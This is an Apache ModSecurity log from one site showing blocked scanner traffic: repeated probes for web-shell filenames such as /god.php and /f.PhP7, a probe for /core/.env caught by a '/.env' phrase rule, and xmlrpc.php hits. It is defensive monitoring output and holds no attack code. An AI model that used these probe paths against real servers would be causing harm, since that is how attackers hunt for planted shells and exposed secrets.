[Sat Feb 28 19:08:12.589192 2026] [:error] [pid 39183:tid 39210] [client 20.91.194.140:21024] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/god.php"] [unique_id "aaLMnBCf4HvhVePw3LawVwAAABI"]
[Sat Feb 28 19:08:13.762802 2026] [:error] [pid 49763:tid 49781] [client 20.91.194.140:21013] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/god.php"] [unique_id "aaLMnbTHSOG_yf2PpqGc9AAAAc8"]
[Sat Feb 28 19:08:17.494278 2026] [:error] [pid 49763:tid 49766] [client 20.91.194.140:59091] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cu.php"] [unique_id "aaLMobTHSOG_yf2PpqGdFQAAAcA"]
[Sat Feb 28 19:08:18.928919 2026] [:error] [pid 39185:tid 39266] [client 20.91.194.140:40561] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cu.php"] [unique_id "aaLMohVE-FfM89u7BQaFiwAAAJQ"]
[Sat Feb 28 19:08:21.828051 2026] [:error] [pid 39183:tid 39198] [client 20.91.194.140:22091] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cu.php"] [unique_id "aaLMpRCf4HvhVePw3LawlgAAAAY"]
[Sat Feb 28 19:08:23.002016 2026] [:error] [pid 22194:tid 22217] [client 20.91.194.140:40574] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cu.php"] [unique_id "aaLMp36mbajs3bzQGyuLwwAAAVU"]
[Sat Feb 28 19:08:25.072926 2026] [:error] [pid 39183:tid 39200] [client 20.91.194.140:2190] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zz.php"] [unique_id "aaLMqRCf4HvhVePw3LawpgAAAAg"]
[Sat Feb 28 19:08:26.442948 2026] [:error] [pid 39183:tid 39192] [client 20.91.194.140:21041] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zz.php"] [unique_id "aaLMqhCf4HvhVePw3LawswAAAAA"]
[Sat Feb 28 19:08:27.995956 2026] [:error] [pid 49763:tid 49767] [client 20.91.194.140:42547] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zz.php"] [unique_id "aaLMq7THSOG_yf2PpqGdOgAAAcE"]
[Sat Feb 28 19:59:32.808514 2026] [:error] [pid 49763:tid 49786] [client 103.8.27.27:54551] [client 103.8.27.27] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/core/.env"] [unique_id "aaLYpLTHSOG_yf2PpqHzmgAAAdQ"]
[Sat Feb 28 20:32:12.789314 2026] [:error] [pid 39292:tid 39309] [client 75.176.34.197:49007] [client 75.176.34.197] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 75.176.34.197, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaLgTKIAO5fN7BxyqcFszAAAAM8"]
[Sat Feb 28 20:32:22.521177 2026] [:error] [pid 52460:tid 52478] [client 151.75.20.177:59076] [client 151.75.20.177] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 151.75.20.177, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaLgVrLWOogAgHGh62RkFAAAAY8"]
[Sat Feb 28 21:04:16.623826 2026] [:error] [pid 39183:tid 39198] [client 20.220.212.70:16606] [client 20.220.212.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws.php"] [unique_id "aaLn0BCf4HvhVePw3LY3igAAAAY"]
[Sat Feb 28 21:04:17.454474 2026] [:error] [pid 39292:tid 39297] [client 20.220.212.70:16607] [client 20.220.212.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws.php"] [unique_id "aaLn0aIAO5fN7BxyqcF2rAAAAMM"]
[Sat Feb 28 21:04:18.281974 2026] [:error] [pid 39184:tid 39243] [client 20.220.212.70:16624] [client 20.220.212.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws.php"] [unique_id "aaLn0ltZF9Zd_U7easC6-AAAAFg"]
[Sat Feb 28 21:04:19.122006 2026] [:error] [pid 52460:tid 52475] [client 20.220.212.70:17127] [client 20.220.212.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws.php"] [unique_id "aaLn07LWOogAgHGh62R8PgAAAYw"]
[Sat Feb 28 21:24:38.589387 2026] [:error] [pid 49763:tid 49788] [client 40.85.222.96:26829] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fetch.php"] [unique_id "aaLslrTHSOG_yf2PpqFvFQAAAdY"]
[Sat Feb 28 21:24:40.033657 2026] [:error] [pid 49763:tid 49771] [client 40.85.222.96:52900] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fetch.php"] [unique_id "aaLsmLTHSOG_yf2PpqFvJAAAAcU"]
[Sat Feb 28 21:24:40.819871 2026] [:error] [pid 49763:tid 49772] [client 40.85.222.96:54927] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fetch.php"] [unique_id "aaLsmLTHSOG_yf2PpqFvKwAAAcY"]
[Sat Feb 28 21:24:42.244869 2026] [:error] [pid 49763:tid 49769] [client 40.85.222.96:52867] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fetch.php"] [unique_id "aaLsmrTHSOG_yf2PpqFvOwAAAcM"]
[Sat Feb 28 21:24:42.999459 2026] [:error] [pid 52460:tid 52471] [client 40.85.222.96:52947] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aaLsmrLWOogAgHGh62SMXwAAAYg"]
[Sat Feb 28 21:24:44.069155 2026] [:error] [pid 11791:tid 11797] [client 40.85.222.96:26859] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aaLsnGuX5e1Q32gqxH3IAwAAAQQ"]
[Sat Feb 28 21:24:45.007730 2026] [:error] [pid 49763:tid 49776] [client 40.85.222.96:54954] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aaLsnbTHSOG_yf2PpqFvSwAAAco"]
[Sat Feb 28 21:24:45.844990 2026] [:error] [pid 49763:tid 49787] [client 40.85.222.96:52969] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aaLsnbTHSOG_yf2PpqFvUgAAAdU"]
[Sat Feb 28 21:24:46.371756 2026] [:error] [pid 49763:tid 49783] [client 40.85.222.96:54969] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-the.php"] [unique_id "aaLsnrTHSOG_yf2PpqFvVQAAAdE"]
[Sat Feb 28 21:24:47.404343 2026] [:error] [pid 49763:tid 49777] [client 40.85.222.96:27866] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-the.php"] [unique_id "aaLsn7THSOG_yf2PpqFvZQAAAcs"]
[Sat Feb 28 21:24:49.085807 2026] [:error] [pid 49763:tid 49772] [client 40.85.222.96:27889] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-the.php"] [unique_id "aaLsobTHSOG_yf2PpqFvcAAAAcY"]
[Sat Feb 28 21:24:49.676649 2026] [:error] [pid 11791:tid 11799] [client 40.85.222.96:27377] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-the.php"] [unique_id "aaLsoWuX5e1Q32gqxH3ICQAAAQY"]
[Sat Feb 28 21:24:51.121424 2026] [:error] [pid 39183:tid 39203] [client 40.85.222.96:54939] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f.PhP7"] [unique_id "aaLsoxCf4HvhVePw3LZLgwAAAAs"]
[Sat Feb 28 21:24:52.163605 2026] [:error] [pid 49763:tid 49768] [client 40.85.222.96:52909] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f.PhP7"] [unique_id "aaLspLTHSOG_yf2PpqFviQAAAcI"]
[Sat Feb 28 21:24:52.863736 2026] [:error] [pid 52460:tid 52472] [client 40.85.222.96:54977] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f.PhP7"] [unique_id "aaLspLLWOogAgHGh62SMkwAAAYk"]
[Sat Feb 28 21:24:53.713475 2026] [:error] [pid 39184:tid 39241] [client 40.85.222.96:26846] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f.PhP7"] [unique_id "aaLspVtZF9Zd_U7easDF2QAAAFY"]
[Sat Feb 28 21:24:54.315477 2026] [:error] [pid 39185:tid 39250] [client 40.85.222.96:26850] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f6.php"] [unique_id "aaLsphVE-FfM89u7BQajVwAAAIQ"]
[Sat Feb 28 21:24:55.192497 2026] [:error] [pid 39292:tid 39299] [client 40.85.222.96:55024] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f6.php"] [unique_id "aaLsp6IAO5fN7BxyqcF_4AAAAMU"]
[Sat Feb 28 21:24:56.079119 2026] [:error] [pid 39183:tid 39203] [client 40.85.222.96:27790] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f6.php"] [unique_id "aaLsqBCf4HvhVePw3LZLlwAAAAs"]
[Sat Feb 28 21:24:57.295359 2026] [:error] [pid 39183:tid 39213] [client 40.85.222.96:52920] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f6.php"] [unique_id "aaLsqRCf4HvhVePw3LZLmQAAABU"]
[Sat Feb 28 21:24:58.021746 2026] [:error] [pid 22194:tid 22212] [client 40.85.222.96:52880] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ayk.php"] [unique_id "aaLsqn6mbajs3bzQGyunJwAAAVA"]
[Sat Feb 28 21:24:59.235809 2026] [:error] [pid 39184:tid 39236] [client 40.85.222.96:54989] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ayk.php"] [unique_id "aaLsq1tZF9Zd_U7easDF7wAAAFE"]
[Sat Feb 28 21:25:00.020586 2026] [:error] [pid 11791:tid 11804] [client 40.85.222.96:37378] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ayk.php"] [unique_id "aaLsrGuX5e1Q32gqxH3IFgAAAQs"]
[Sat Feb 28 21:25:01.292756 2026] [:error] [pid 39184:tid 39235] [client 40.85.222.96:37420] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ayk.php"] [unique_id "aaLsrVtZF9Zd_U7easDF9wAAAFA"]
[Sat Feb 28 21:25:02.218074 2026] [:error] [pid 52460:tid 52470] [client 40.85.222.96:26844] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp.php"] [unique_id "aaLsrrLWOogAgHGh62SMsQAAAYc"]
[Sat Feb 28 21:25:03.085518 2026] [:error] [pid 39292:tid 39314] [client 40.85.222.96:52932] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp.php"] [unique_id "aaLsr6IAO5fN7BxyqcF_9AAAANQ"]
[Sat Feb 28 21:25:03.910594 2026] [:error] [pid 39184:tid 39241] [client 40.85.222.96:52971] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp.php"] [unique_id "aaLsr1tZF9Zd_U7easDGAQAAAFY"]
[Sat Feb 28 21:25:04.773729 2026] [:error] [pid 39184:tid 39223] [client 40.85.222.96:27331] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp.php"] [unique_id "aaLssFtZF9Zd_U7easDGBAAAAEQ"]
[Sat Feb 28 21:25:06.418068 2026] [:error] [pid 39184:tid 39225] [client 40.85.222.96:52912] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/trx24.php"] [unique_id "aaLssltZF9Zd_U7easDGBgAAAEY"]
[Sat Feb 28 21:25:07.449710 2026] [:error] [pid 11791:tid 11815] [client 40.85.222.96:27877] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/trx24.php"] [unique_id "aaLss2uX5e1Q32gqxH3IHQAAARY"]
[Sat Feb 28 21:25:08.666931 2026] [:error] [pid 39185:tid 39247] [client 40.85.222.96:55005] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/trx24.php"] [unique_id "aaLstBVE-FfM89u7BQajoAAAAIE"]
[Sat Feb 28 21:25:09.891822 2026] [:error] [pid 39183:tid 39201] [client 40.85.222.96:56723] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/trx24.php"] [unique_id "aaLstRCf4HvhVePw3LZLwwAAAAk"]
[Sat Feb 28 21:25:11.060031 2026] [:error] [pid 49763:tid 49773] [client 40.85.222.96:56742] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ah25.php"] [unique_id "aaLst7THSOG_yf2PpqFv-QAAAcc"]
[Sat Feb 28 21:25:11.996272 2026] [:error] [pid 39292:tid 39304] [client 40.85.222.96:54934] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ah25.php"] [unique_id "aaLst6IAO5fN7BxyqcGACQAAAMo"]
[Sat Feb 28 21:25:13.298655 2026] [:error] [pid 49763:tid 49767] [client 40.85.222.96:54984] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ah25.php"] [unique_id "aaLsubTHSOG_yf2PpqFv_AAAAcE"]
[Sat Feb 28 21:25:13.991800 2026] [:error] [pid 11791:tid 11804] [client 40.85.222.96:52970] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ah25.php"] [unique_id "aaLsuWuX5e1Q32gqxH3ILQAAAQs"]
[Sat Feb 28 21:25:15.171103 2026] [:error] [pid 39184:tid 39225] [client 40.85.222.96:52982] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/advanc.php"] [unique_id "aaLsu1tZF9Zd_U7easDGGAAAAEY"]
[Sat Feb 28 21:25:16.180718 2026] [:error] [pid 49763:tid 49777] [client 40.85.222.96:55015] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/advanc.php"] [unique_id "aaLsvLTHSOG_yf2PpqFwKgAAAcs"]
[Sat Feb 28 21:25:17.404478 2026] [:error] [pid 22194:tid 22213] [client 40.85.222.96:26873] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/advanc.php"] [unique_id "aaLsvX6mbajs3bzQGyunMAAAAVE"]
[Sat Feb 28 21:25:17.981827 2026] [:error] [pid 11791:tid 11802] [client 40.85.222.96:52974] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/advanc.php"] [unique_id "aaLsvWuX5e1Q32gqxH3IMwAAAQk"]
[Sat Feb 28 21:25:19.050454 2026] [:error] [pid 49763:tid 49773] [client 40.85.222.96:52923] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bgymj.php"] [unique_id "aaLsv7THSOG_yf2PpqFwQAAAAcc"]
